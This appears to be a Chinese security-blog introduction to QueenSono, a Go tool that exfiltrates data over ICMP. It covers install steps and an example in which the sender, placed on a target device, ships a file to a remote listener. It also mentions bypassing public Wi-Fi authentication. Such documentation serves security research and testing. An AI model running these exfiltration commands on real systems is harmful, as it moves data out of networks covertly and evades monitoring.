关于QueenSono
QueenSono是一款针对ICMP协议的数据提取工具,该工具基于Golang开发,并且只依赖于ICMP协议不受监控这一事实实现其功能。除此之外,该工具也可以用于基本的ICMP检查,或绕过某些身份验证机制,比如说许多公共Wi-Fi在连接到Wi-Fi(如机场Wi-Fi)后用于对用户进行身份验证。

工具安装
从源码安装
广大研究人员可以直接使用下列命令将该项目源码克隆至本地,并安装好该工具所需的依赖组件:
git clone https://github.com/ariary/QueenSono.git
make before.build
下列命令可以构建ICMP包发送器-qssender:
build.queensono-sender
下列命令可以构建ICMP包接收器-qsreceiver:
build.queensono-receiver

工具使用
ICMP包发送器-qssender将负责把ICMP数据包发送至监听器,因此我们需要将qssender源码传输到目标设备上。
ICMP包接收器-qsreceiver就是我们本地设备上的数据包监听器了。
所有的命令和工具参数都可以使用“–help”来查看。
工具使用样例1:发送包携带“ACK”
在这个例子中,我们将发送一个大型文件,并查看接收到数据包之后的回复信息:

在本地设备上,运行下列命令:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt

参数解释:
-l 0.0.0.0:监听所有接口的ICMP数据包
-f received_bible.txt:将接收到的数据存储至文件
-p:显示接收数据的进度条
在目标设备上,运行下列命令:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt

参数解释:
send file:发送文件
-d 2:每两秒发送一个数据包
-l 127.0.0.1:每次接收回复信息的监听地址
-r 10.0.0.92:运行了qsreceiver 监听器的远程设备地址
-s 50000:每个数据包需要发送的数据量大小

使用QueenSono从ICMP提取数据相关推荐

  1. 【网络安全】如何使用QueenSono从ICMP提取数据

    关于QueenSono QueenSono是一款针对ICMP协议的数据提取工具,该工具基于Golang开发,并且只依赖于ICMP协议不受监控这一事实实现其功能.除此之外,该工具也可以用于基本的ICMP ...

  2. 以实例说明如何使用C#从数据库中提取数据,按要求自动生成定制的Excel表格

    最近因为需要学习了一下使用C#操作Excel表格,现在把我使用C#如何定制表格的过程提供给需要的兄弟: /*从数据库提取数据*/ string strconn="packet size=40 ...

  3. 案例:Oracle dul数据挖掘 磁盘损坏dul提取数据文件中表的数据及l

    通过使用Oracle DUL工具提取损坏磁盘里的数据库文件中的表及lob字段中内容 在有次8i的库恢复中,因为硬盘损坏导致几个表出现很多诡异性坏块,尝试使用dul对其进行挖掘数据,当时使用dul 9 ...

  4. Selenium提取数据之标签对象提取文本内容和属性值

    Selenium提取数据之标签对象提取文本内容和属性值 find_element仅仅能够获取元素,不能够直接获取其中的数据,如果需要获取数据需要使用以下方法 对元素执行点击操作element.clic ...

  5. selenium提取数据之driver对象的常用属性和方法

    selenium提取数据之driver对象的常用属性和方法 在使用selenium过程中,实例化driver对象后,driver对象有一些常用的属性和方法 driver.page_source 当前标 ...

  6. selenium提取数据之driver对象定位标签元素获取标签对象的方法

    selenium提取数据之driver对象定位标签元素获取标签对象的方法 在selenium中可以通过多种方式来定位标签,返回标签元素对象 find_element_by_id (返回一个元素) fi ...

  7. R语言head函数和tail函数获取dataframe、列表list、向量vector的头部和尾部数据:tail提取数据对象的尾部数据、head提取数据对象的头部数据、默认6条数据、自定义设置返回条数

    R语言head函数和tail函数获取dataframe.列表list.向量vector的头部和尾部数据:tail提取数据对象的尾部数据.head提取数据对象的头部数据.默认6条数据.自定义设置返回条数 ...

  8. R语言window函数提取时序数据数据子集(subset):使用xts包将dataframe数据转化为时间序列数据(time series)、使用window函数从时间序列对象中提取数据子集

    R语言window函数提取时序数据数据子集(subset):使用xts包将dataframe数据转化为时间序列数据(time series).使用window函数从时间序列对象中提取数据子集 目录

  9. python爬虫数据提取,Python 信息提取-爬虫,爬虫提取数据, import re

    Python 信息提取-爬虫,爬虫提取数据, import re import requestsimport refrom bs4 import BeautifulSoupurl = "ht ...

  10. eeglab中文教程系列(5)-提取数据epoch

    目录 提取数据epoch 移除基线值 保存数据 本教程为脑机学习者Rose发表于公众号:脑机接口社区 .QQ交流群:903290195 提取数据epoch 为了研究连续记录数据的事件相关脑电图动力学, ...

最新文章

  1. java phantomjd linux_linux安装phantomjs
  2. 如何使用Jenkins持续集成C#网站项目
  3. JUC系列(五)| Synchonized关键字进一步理解
  4. Java语言基础JavaScript
  5. 佳能打印机 另一台计算机正在使用,多台电脑系统不同如何共享一台佳能打印机的简单设置...
  6. anaconda python3.8目录_MacBook Pro 安装anaconda、配置环境
  7. 天线越大越好吗_无线路由知识误区!解读天线数量与信号强弱的关系
  8. php 微信支付 ca证书,微信公众号红包接口开发PHP开发 CA证书出错,请登陆微信支付商户平台下载证书...
  9. android UI 标签
  10. 删除MSSQL数据库text字段中恶意脚本Script=***.js/script的方法
  11. lammps教程:晶体建模之Atomsk方法(1)
  12. 有线数字电视机顶盒的基本原理
  13. HTML5+CSS大作业——宝马轿车网页设计(6页) web前端设计与开发期末作品/期末大作业
  14. 信息安全管理体系(ISMS)
  15. 学习笔记(26):玩转Python-Python3基础入门-案例-快递价格计算器(1)
  16. php实现倒计时,PHP实现倒计时功能
  17. java毕业生设计中学线上作业评判系统计算机源码+系统+mysql+调试部署+lw
  18. 技校可以学计算机平面设计吗,计算机平面设计免费试学服务为先_孙进技校
  19. 混部之殇-论云原生资源隔离技术之CPU隔离
  20. Java物品清单结算

热门文章

  1. 广度优先搜索nodeHDU/HDOJ 1242 Rescue 典型的迷宫广度优先搜索题
  2. 生成一定范围内的互不相同的随机数的方法比较
  3. Apache PDFBox 1.8.1 发布
  4. 新浪微博:“救命的黄金稻草”
  5. mysql 分表例子_mysql分表查询的简单例子
  6. 公众号开发 单独 给某个用户 推送消息_校区学生会微信公众平台征稿启事
  7. 在python中print表示的数据类型是_在python中自己写的数据类型使用print无法输出每个元素...
  8. (2015省赛系列--团体热身赛第二场)
  9. java的finalize_Java中finalize()方法
  10. 【PAT】A-1034 :Head of a Gang(图的DFS遍历和map的巧妙使用---图的入门题目)